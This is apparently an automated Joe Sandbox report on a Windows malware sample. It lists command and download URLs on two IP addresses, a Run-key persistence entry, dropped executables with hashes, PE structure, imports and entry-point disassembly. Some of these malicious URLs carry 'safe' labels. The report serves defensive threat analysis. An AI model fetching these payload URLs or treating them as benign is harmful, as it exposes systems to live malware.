http://www.eyuyan.com)DVarFileInfo$#U4fdd#U62a4#U795e1.exe, update.exe.4.dr, 16.exe.0.drfalse
    high
    http://42.193.100.57/#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.0000000000666000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtSB5#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://38.6.175.25:9018update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://38.6.175.25:901/downhttp://38.6.175.25:901update.exe, 00000007.00000002.1905145272.0000000002160000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905224498.00000000021A0000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt-U#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.execY#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe=2#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe~#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtY#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    https://trustsing.com/publish/iDefender.exew 16.exe, 00000004.00000002.1882625896.0000000001369000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://38.6.175.25:901 16.exe, 00000004.00000002.1879881423.00000000005FB000.00000002.00000001.01000000.00000007.sdmp, 16.exe, 00000004.00000002.1882768972.00000000013AD000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905145272.0000000002160000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905224498.00000000021A0000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://38.6.175.25:901/downt 16.exe, 00000004.00000002.1882225013.000000000134E000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exeN2#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://.httpsset-cookie:;;#U4fdd#U62a4#U795e1.exefalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exez#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exec3#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt(#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe7#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000063E000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe##U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtKB-#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://38.6.175.25:901/downLqupdate.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://38.6.175.25:901C: 16.exe, 00000004.00000003.1877794042.0000000002D51000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904226340.00000000001E0000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe(#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    unknown
    • No. of IPs < 25%
    • 25% < No. of IPs < 50%
    • 50% < No. of IPs < 75%
    • 75% < No. of IPs
    IPDomainCountryFlagASNASN NameMalicious
    42.193.100.57
    unknownChina
    4249LILLY-ASUSfalse
    38.6.175.134
    unknownUnited States
    174COGENT-174USfalse
    Joe Sandbox version:41.0.0 Charoite
    Analysis ID:1559170
    Start date and time:2024-11-20 09:13:23 +01:00
    Joe Sandbox product:CloudBasic
    Overall analysis duration:0h 7m 49s
    Hypervisor based Inspection enabled:false
    Report type:full
    Cookbook file name:default.jbs
    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
    Number of analysed new started processes analysed:13
    Number of new started drivers analysed:0
    Number of existing processes analysed:0
    Number of existing drivers analysed:0
    Number of injected processes analysed:0
    Technologies:
    • HCA enabled
    • EGA enabled
    • AMSI enabled
    Analysis Mode:default
    Analysis stop reason:Timeout
    Sample name:#U4fdd#U62a4#U795e1.exe
    renamed because original name is a hash value
    Original Sample Name:1.exe
    Detection:MAL
    Classification:mal92.evad.winEXE@6/4@0/2
    EGA Information:
    • Successful, ratio: 75%
    HCA Information:
    • Successful, ratio: 65%
    • Number of executed functions: 52
    • Number of non-executed functions: 254
    Cookbook Comments:
    • Found application associated with file extension: .exe
    • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
    • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
    • Execution Graph export aborted for target 16.exe, PID 6340 because there are no executed function
    • Not all processes where analyzed, report is missing behavior information
    • Report size exceeded maximum capacity and may have missing disassembly code.
    • Report size getting too big, too many NtOpenKeyEx calls found.
    • Report size getting too big, too many NtQueryValueKey calls found.
    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
    • VT rate limit hit for: #U4fdd#U62a4#U795e1.exe
    TimeTypeDescription
    03:14:41API Interceptor2x Sleep call for process: #U4fdd#U62a4#U795e1.exe modified
    09:14:45AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run 1 C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
    42.193.100.57213.exeGet hashmaliciousUnknownBrowse
    • 42.193.100.57/%E5%AD%98%E6%A1%A3/.txt
    211.exeGet hashmaliciousUnknownBrowse
    • 42.193.100.57/%E5%AD%98%E6%A1%A3/.txt
    212.exeGet hashmaliciousUnknownBrowse
    • 42.193.100.57/%E5%AD%98%E6%A1%A3/.txt
    214.exeGet hashmaliciousUnknownBrowse
    • 42.193.100.57/%E5%AD%98%E6%A1%A3/.txt
    38.6.175.134#U5343#U5343#U665a#U661f16.exeGet hashmaliciousUnknownBrowse
      No context
      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
      LILLY-ASUS213.exeGet hashmaliciousUnknownBrowse
      • 42.193.100.57
      211.exeGet hashmaliciousUnknownBrowse
      • 42.193.100.57
      212.exeGet hashmaliciousUnknownBrowse
      • 42.193.100.57
      214.exeGet hashmaliciousUnknownBrowse
      • 42.193.100.57
      SWIFT COPY 0028_pdf.exeGet hashmaliciousFormBookBrowse
      • 43.155.76.124
      arm7.nn-20241120-0508.elfGet hashmaliciousMirai, OkiruBrowse
      • 43.52.215.121
      arm.nn-20241120-0508.elfGet hashmaliciousMirai, OkiruBrowse
      • 43.152.251.74
      x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
      • 40.221.176.183
      https://trackwniw.top/iGet hashmaliciousUnknownBrowse
      • 43.130.33.71
      https://trackwniw.top/iGet hashmaliciousUnknownBrowse
      • 43.130.33.71
      COGENT-174US#U5343#U5343#U665a#U661f16.exeGet hashmaliciousUnknownBrowse
      • 38.6.175.134
      meow.arm7.elfGet hashmaliciousUnknownBrowse
      • 38.36.152.209
      x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
      • 206.249.160.120
      need quotations.exeGet hashmaliciousFormBookBrowse
      • 206.238.89.119
      x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
      • 38.161.56.224
      KPFv8ATDx0.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
      • 38.180.228.120
      exe009.exeGet hashmaliciousEmotetBrowse
      • 185.142.236.163
      owari.arm.elfGet hashmaliciousUnknownBrowse
      • 38.169.130.37
      owari.spc.elfGet hashmaliciousUnknownBrowse
      • 38.247.191.82
      owari.sh4.elfGet hashmaliciousUnknownBrowse
      • 38.5.199.111
      No context
      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
      C:\Users\user\Desktop\update.exe#U5343#U5343#U665a#U661f16.exeGet hashmaliciousUnknownBrowse
        Process:C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
        File Type:ISO-8859 text, with CRLF, LF line terminators
        Category:dropped
        Size (bytes):351
        Entropy (8bit):5.9988906824310355
        Encrypted:false
        SSDEEP:6:xtyubDqtb4ac7XzecPawiKNFeC7Kk41a7B/fwTv3VKXseOBDUpspnvP0fVuaoyEf:xtyubSmXzDPay5G8AjVreOB6gn3sIyEf
        MD5:0A4E253CD11911FEAE8FBEFD3D9C725B
        SHA1:6C4C162E27A1F4B8621CE2AF90950C7B7655F2C1
        SHA-256:97ECD8C0334E929E53991180A7651E7B0FBBC5D9F0A3293D4026AE4305D20531
        SHA-512:53D9B2E1A66CA3129C8CEC42A2867D698ABD06AC2DF941A86EA7E9D336DCA4E1AB781395DE5B1F9E831EAECC58979046A046967B545E884B90C07E6FD46550EA
        Malicious:false
        Reputation:low
        Preview:....4.8......................................16.......................................http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe................... ...... ..... ...... .... .............................1........1../n2.......2../n3........../n4...........................................
        Process:C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
        File Type:ISO-8859 text, with CRLF, LF line terminators
        Category:dropped
        Size (bytes):351
        Entropy (8bit):5.9988906824310355
        Encrypted:false
        SSDEEP:6:xtyubDqtb4ac7XzecPawiKNFeC7Kk41a7B/fwTv3VKXseOBDUpspnvP0fVuaoyEf:xtyubSmXzDPay5G8AjVreOB6gn3sIyEf
        MD5:0A4E253CD11911FEAE8FBEFD3D9C725B
        SHA1:6C4C162E27A1F4B8621CE2AF90950C7B7655F2C1
        SHA-256:97ECD8C0334E929E53991180A7651E7B0FBBC5D9F0A3293D4026AE4305D20531
        SHA-512:53D9B2E1A66CA3129C8CEC42A2867D698ABD06AC2DF941A86EA7E9D336DCA4E1AB781395DE5B1F9E831EAECC58979046A046967B545E884B90C07E6FD46550EA
        Malicious:false
        Reputation:low
        Preview:....4.8......................................16.......................................http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe................... ...... ..... ...... .... .............................1........1../n2.......2../n3........../n4...........................................
        Process:C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
        Category:dropped
        Size (bytes):6123520
        Entropy (8bit):7.950517003987502
        Encrypted:false
        SSDEEP:98304:WRNDM/GMltzUmaMRZkD3utHxY5aF5+xwTQqqB/F2cCmgfamW9ejyDoYNP1oy:ONI/Go9ayZmyY5a6xwvqB/fEoEixoy
        MD5:72AA0DBF54D8C3A47D3C3AA1BD875E1D
        SHA1:00E272E32A1EA2CE5D1928525ED3B67E8969433A
        SHA-256:CCDA7994E140A412C4BCD8816B850545079C1E568E38D63B70D8DE6FFE15497E
        SHA-512:133F3391AFCDE20546B58254ACAFD2042DBC32AB262CCCBB6063D6BCD8141859EE59476E39C18CA7CB52D1862287B098BDE7ED540177A530B5E18B3D88002717
        Malicious:true
        Antivirus:
        • Antivirus: Joe Sandbox ML, Detection: 100%
        • Antivirus: ReversingLabs, Detection: 29%
        Reputation:low
        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%Y.f......................+......wv...........@.............................................................................h....................................................................................P...............................text.............................. ..`.rdata..xS'.........................@..@.data.........9.....................@....vmp0....6)...?.....................`..`.vmp1.....\..@h...\.................`..`.rsrc.................\.............@..@................................................................................................................................................................................................................................................................................................................................................................................................
        Process:C:\Users\user\Desktop\ 16.exe
        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
        Category:dropped
        Size (bytes):888832
        Entropy (8bit):7.323536443299941
        Encrypted:false
        SSDEEP:12288:yhokdAoXTs03f3nsXFFCr512Kz9/ArXRYGbfmY5dfJ6l8x+fU2W0WCNLsos:yaAlP3sVS9pArBYGbeYju8x+fU21
        MD5:CA57BDFF74665A2A42A8CF4AD4593D9F
        SHA1:7562003F808C469579227A01ECA809539DE5CC8D
        SHA-256:E5C30E02DAA7C7178EE58F7F74F27A8CA4134AD736BA15CF34F863D8B70B2516
        SHA-512:C305958BA78172CDAFE1CEDB4CF7125641BE05BDADC5233AD3C3CFAD1AE13F4B8C91995CD12D9CEC4A7087D33B4F9BFF05A0F2C43B0540D06AD066D9D061EC24
        Malicious:true
        Antivirus:
        • Antivirus: Joe Sandbox ML, Detection: 100%
        • Antivirus: ReversingLabs, Detection: 61%
        Joe Sandbox View:
        • Filename: #U5343#U5343#U665a#U661f16.exe, Detection: malicious, Browse
        Reputation:low
        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#...ga.\ga.\ga.\.}.\ba.\.~.\na.\.~.\aa.\.}.\Ka.\QG.\.a.\1~.\Ka.\.~.\.a.\ga.\.c.\.i.\da.\QG.\.a.\.~.\-a.\ga.\Wa.\.g.\fa.\Richga.\........................PE..L....c.T............................,p............@.........................................................................h...........T]...................s.......................................................................................text...^........................... ....rdata..............................@..@.data...............................@....rsrc...T].......`... ..............@..@.text........p...................... ...................................................................................................................................................................................................................................................................................
        File type:PE32 executable (GUI) Intel 80386, for MS Windows
        Entropy (8bit):6.37307388381538
        TrID:
        • Win32 Executable (generic) a (10002005/4) 99.96%
        • Generic Win/DOS Executable (2004/3) 0.02%
        • DOS Executable Generic (2002/1) 0.02%
        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
        File name:#U4fdd#U62a4#U795e1.exe
        File size:876'544 bytes
        MD5:f5b663e9aa9555b45bd9e88221083781
        SHA1:3df73ded0310c3e70ce430118ced5073f75e0cc1
        SHA256:2db7d9e24396db62672a83f5245a154a8b58d2099554aaa93ad2dcef1f18c513
        SHA512:b90d802d694fd8e7104a49b5990d6f4f9bfcee2a35a1cc22aed23e2af0230af8edb1d004ce3bdc0cde5a13680a135620f7355d7cd2ca4e367198902762ed6587
        SSDEEP:12288:lyMg99qCGhVzJ28fBmTtOZbUbbqyICs3Cj//i//lryQsUdk2Mh5s:ly7GhNJ2YB+tOVUbtI0YOUdrMh2
        TLSH:10158E12BAC6C0F3D619197004A6A73ADE37EB860B25CFC79354DE696C332C1E93615E
        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\....wr..wr..wr.why..wr.whx..wr..k|.4wr.ck~..wr.Nha.4wr.zha..wr..ws..ur.../..wr..Qy.pwr..Qx..wr..hy.Cwr..hx..wr..wr.(wr..qt..wr
        Icon Hash:9eb3c18c2ceea99a
        Entrypoint:0x4807da
        Entrypoint Section:.text
        Digitally signed:false
        Imagebase:0x400000
        Subsystem:windows gui
        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
        DLL Characteristics:
        Time Stamp:0x669A3897 [Fri Jul 19 09:57:43 2024 UTC]
        TLS Callbacks:
        CLR (.Net) Version:
        OS Version Major:4
        OS Version Minor:0
        File Version Major:4
        File Version Minor:0
        Subsystem Version Major:4
        Subsystem Version Minor:0
        Import Hash:524e511fb7af6095188d3ed4cab35ac0
        Instruction
        push ebp
        mov ebp, esp
        push FFFFFFFFh
        push 004AD5F0h
        push 00483614h
        mov eax, dword ptr fs:[00000000h]
        push eax
        mov dword ptr fs:[00000000h], esp
        sub esp, 58h
        push ebx
        push esi
        push edi
        mov dword ptr [ebp-18h], esp
        call dword ptr [004A1184h]
        xor edx, edx
        mov dl, ah
        mov dword ptr [004FD35Ch], edx
        mov ecx, eax
        and ecx, 000000FFh
        mov dword ptr [004FD358h], ecx
        shl ecx, 08h
        add ecx, edx
        mov dword ptr [004FD354h], ecx
        shr eax, 10h
        mov dword ptr [004FD350h], eax
        push 00000001h
        call 00007FB1B4F6F9FFh
        pop ecx
        test eax, eax
        jne 00007FB1B4F6A57Ah
        push 0000001Ch
        call 00007FB1B4F6A638h
        pop ecx
        call 00007FB1B4F6F7AAh
        test eax, eax
        jne 00007FB1B4F6A57Ah
        push 00000010h
        call 00007FB1B4F6A627h
        pop ecx
        xor esi, esi
        mov dword ptr [ebp-04h], esi
        call 00007FB1B4F6F5D8h
        call dword ptr [004A1328h]
        mov dword ptr [00502584h], eax
        call 00007FB1B4F6F496h
        mov dword ptr [004FD2C8h], eax
        call 00007FB1B4F6F23Fh
        call 00007FB1B4F6F181h
        call 00007FB1B4F6E24Ch
        mov dword ptr [ebp-30h], esi
        lea eax, dword ptr [ebp-5Ch]
        push eax
        call dword ptr [004A11B0h]
        call 00007FB1B4F6F112h
        mov dword ptr [ebp-64h], eax
        test byte ptr [ebp-30h], 00000001h
        je 00007FB1B4F6A578h
        movzx eax, word ptr [ebp+00h]
        Programming Language:
        • [C++] VS98 (6.0) SP6 build 8804
        • [ C ] VS98 (6.0) SP6 build 8804
        • [C++] VS98 (6.0) build 8168
        • [ C ] VS98 (6.0) build 8168
        • [EXP] VC++ 6.0 SP5 build 8804
        NameVirtual AddressVirtual Size Is in Section
        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
        IMAGE_DIRECTORY_ENTRY_IMPORT0xb55c00x104.rdata
        IMAGE_DIRECTORY_ENTRY_RESOURCE0x1030000x5958.rsrc
        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
        IMAGE_DIRECTORY_ENTRY_IAT0xa10000x6f4.rdata
        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
        .text0x10000x9fe020xa000049585f2a7a3d048c63daad4f9205295cFalse0.5273880004882813data6.590152723526371IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
        .rdata0xa10000x16a420x17000c7b50086335999e7e32e0839573533e9False0.3163001019021739data4.525953837098592IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
        .data0xb80000x4a58a0x18000f51b912e225a25f794938498ffdbe706False0.2985738118489583data5.02788884527421IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
        .rsrc0x1030000x59580x600074df184008091ddc364e96a0e045fd32False0.2975260416666667data4.818815015973174IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
        NameRVASizeTypeLanguageCountryZLIB Complexity
        TEXTINCLUDE0x103bfc0xbASCII text, with no line terminatorsChineseChina1.7272727272727273
        TEXTINCLUDE0x103c080x16dataChineseChina1.3636363636363635
        TEXTINCLUDE0x103c200x151C source, ASCII text, with CRLF line terminatorsChineseChina0.6201780415430267
        RT_CURSOR0x103d740x134dataChineseChina0.5811688311688312
        RT_CURSOR0x103ea80x134Targa image data - Map 64 x 65536 x 1 +32 "\001"ChineseChina0.37662337662337664
        RT_CURSOR0x103fdc0x134Targa image data - RGB 64 x 65536 x 1 +32 "\001"ChineseChina0.4805194805194805
        RT_CURSOR0x1041100xb4Targa image data - Map 32 x 65536 x 1 +16 "\001"ChineseChina0.7
        RT_BITMAP0x1041c40x248Device independent bitmap graphic, 64 x 15 x 4, image size 480ChineseChina0.3407534246575342
        RT_BITMAP0x10440c0x144Device independent bitmap graphic, 33 x 11 x 4, image size 220ChineseChina0.4444444444444444
        RT_BITMAP0x1045500x158Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/mChineseChina0.26453488372093026
        RT_BITMAP0x1046a80x158Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/mChineseChina0.2616279069767442
        RT_BITMAP0x1048000x158Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/mChineseChina0.2441860465116279
        RT_BITMAP0x1049580x158Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/mChineseChina0.24709302325581395
        RT_BITMAP0x104ab00x158Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/mChineseChina0.2238372093023256
        RT_BITMAP0x104c080x158Device independent bitmap graphic, 20 x 20 x 4, image size 240ChineseChina0.19476744186046513
        RT_BITMAP0x104d600x158Device independent bitmap graphic, 20 x 20 x 4, image size 240ChineseChina0.20930232558139536
        RT_BITMAP0x104eb80x158Device independent bitmap graphic, 20 x 20 x 4, image size 240ChineseChina0.18895348837209303
        RT_BITMAP0x1050100x5e4Device independent bitmap graphic, 70 x 39 x 4, image size 1404ChineseChina0.34615384615384615
        RT_BITMAP0x1055f40xb8Device independent bitmap graphic, 12 x 10 x 4, image size 80ChineseChina0.44565217391304346
        RT_BITMAP0x1056ac0x16cDevice independent bitmap graphic, 39 x 13 x 4, image size 260ChineseChina0.28296703296703296
        RT_BITMAP0x1058180x144Device independent bitmap graphic, 33 x 11 x 4, image size 220ChineseChina0.37962962962962965
        RT_ICON0x10595c0x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640ChineseChina0.26344086021505375
        RT_ICON0x105c440x128Device independent bitmap graphic, 16 x 32 x 4, image size 192ChineseChina0.41216216216216217
        RT_ICON0x105d6c0x128Device independent bitmap graphic, 16 x 32 x 4, image size 1920.3885135135135135
        RT_ICON0x105e940x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 6400.33198924731182794
        RT_ICON0x10617c0x668Device independent bitmap graphic, 48 x 96 x 4, image size 15360.22378048780487805
        RT_MENU0x1067e40xcdataChineseChina1.5
        RT_MENU0x1067f00x284dataChineseChina0.5
        RT_DIALOG0x106a740x98dataChineseChina0.7171052631578947
        RT_DIALOG0x106b0c0x17adataChineseChina0.5185185185185185
        RT_DIALOG0x106c880xfadataChineseChina0.696
        RT_DIALOG0x106d840xeadataChineseChina0.6239316239316239
        RT_DIALOG0x106e700x8aedataChineseChina0.39603960396039606
        RT_DIALOG0x1077200xb2dataChineseChina0.7359550561797753
        RT_DIALOG0x1077d40xccdataChineseChina0.7647058823529411
        RT_DIALOG0x1078a00xb2dataChineseChina0.6629213483146067
        RT_DIALOG0x1079540xe2dataChineseChina0.6637168141592921
        RT_DIALOG0x107a380x18cdataChineseChina0.5227272727272727
        RT_STRING0x107bc40x50dataChineseChina0.85
        RT_STRING0x107c140x2cdataChineseChina0.5909090909090909
        RT_STRING0x107c400x78dataChineseChina0.925
        RT_STRING0x107cb80x1c4dataChineseChina0.8141592920353983
        RT_STRING0x107e7c0x12adataChineseChina0.5201342281879194
        RT_STRING0x107fa80x146dataChineseChina0.6288343558282209
        RT_STRING0x1080f00x40dataChineseChina0.65625
        RT_STRING0x1081300x64dataChineseChina0.73
        RT_STRING0x1081940x1d8dataChineseChina0.6758474576271186
        RT_STRING0x10836c0x114dataChineseChina0.6376811594202898
        RT_STRING0x1084800x24dataChineseChina0.4444444444444444
        RT_GROUP_CURSOR0x1084a40x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.25
        RT_GROUP_CURSOR0x1084b80x14Lotus unknown worksheet or configuration, revision 0x1ChineseChina1.25
        RT_GROUP_CURSOR0x1084cc0x22Lotus unknown worksheet or configuration, revision 0x2ChineseChina1.0294117647058822
        RT_GROUP_ICON0x1084f00x30data0.9166666666666666
        RT_GROUP_ICON0x1085200x14dataChineseChina1.2
        RT_GROUP_ICON0x1085340x14dataChineseChina1.25
        RT_VERSION0x1085480x240dataChineseChina0.5642361111111112
        RT_MANIFEST0x1087880x1cdXML 1.0 document, ASCII text, with very long lines (461), with no line terminators0.5878524945770065
        DLLImport
        WINMM.dllmidiStreamOut, midiOutPrepareHeader, waveOutWrite, waveOutPause, waveOutReset, waveOutClose, waveOutGetNumDevs, waveOutOpen, midiOutUnprepareHeader, midiStreamOpen, midiStreamProperty, midiStreamStop, midiOutReset, midiStreamClose, midiStreamRestart, waveOutUnprepareHeader, waveOutRestart, waveOutPrepareHeader
        WS2_32.dllWSACleanup, inet_ntoa, closesocket, getpeername, accept, ntohl, WSAAsyncSelect, recvfrom, ioctlsocket, recv
        KERNEL32.dllOpenProcess, MultiByteToWideChar, SetLastError, GetTimeZoneInformation, GetVersion, TerminateThread, CreateMutexA, ReleaseMutex, TerminateProcess, GetACP, HeapSize, RaiseException, GetLocalTime, GetSystemTime, RtlUnwind, GetStartupInfoA, GetOEMCP, GetCPInfo, GetProcessVersion, SetErrorMode, GlobalFlags, GetCurrentThread, GetFileTime, TlsGetValue, LocalReAlloc, TlsSetValue, TlsFree, GlobalHandle, TlsAlloc, LocalAlloc, lstrcmpA, GlobalGetAtomNameA, GlobalAddAtomA, GlobalFindAtomA, GlobalDeleteAtom, lstrcmpiA, SetEndOfFile, UnlockFile, LockFile, FlushFileBuffers, DuplicateHandle, lstrcpynA, FileTimeToLocalFileTime, FileTimeToSystemTime, LocalFree, WideCharToMultiByte, InterlockedDecrement, InterlockedIncrement, GetCurrentProcess, GetFileSize, SetFilePointer, CreateToolhelp32Snapshot, Process32First, Process32Next, CreateSemaphoreA, ResumeThread, ReleaseSemaphore, EnterCriticalSection, LeaveCriticalSection, GetProfileStringA, WriteFile, WaitForMultipleObjects, CreateFileA, SetEvent, FindResourceA, LoadResource, LockResource, ReadFile, GetModuleFileNameA, GetCurrentThreadId, ExitProcess, GlobalSize, GlobalFree, DeleteCriticalSection, InitializeCriticalSection, lstrcatA, lstrlenA, WinExec, InterlockedExchange, lstrcpyA, FindNextFileA, GetDriveTypeA, GlobalReAlloc, HeapFree, HeapReAlloc, GetProcessHeap, HeapAlloc, GetFullPathNameA, FreeLibrary, LoadLibraryA, GetLastError, GetVersionExA, WritePrivateProfileStringA, CreateThread, CreateEventA, Sleep, GlobalAlloc, GlobalLock, GlobalUnlock, FindFirstFileA, FindClose, GetFileAttributesA, DeleteFileA, GetCurrentDirectoryA, SetCurrentDirectoryA, GetVolumeInformationA, GetModuleHandleA, GetProcAddress, MulDiv, GetCommandLineA, GetTickCount, CreateProcessA, WaitForSingleObject, CloseHandle, UnhandledExceptionFilter, FreeEnvironmentStringsA, FreeEnvironmentStringsW, GetEnvironmentStrings, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, GetFileType, 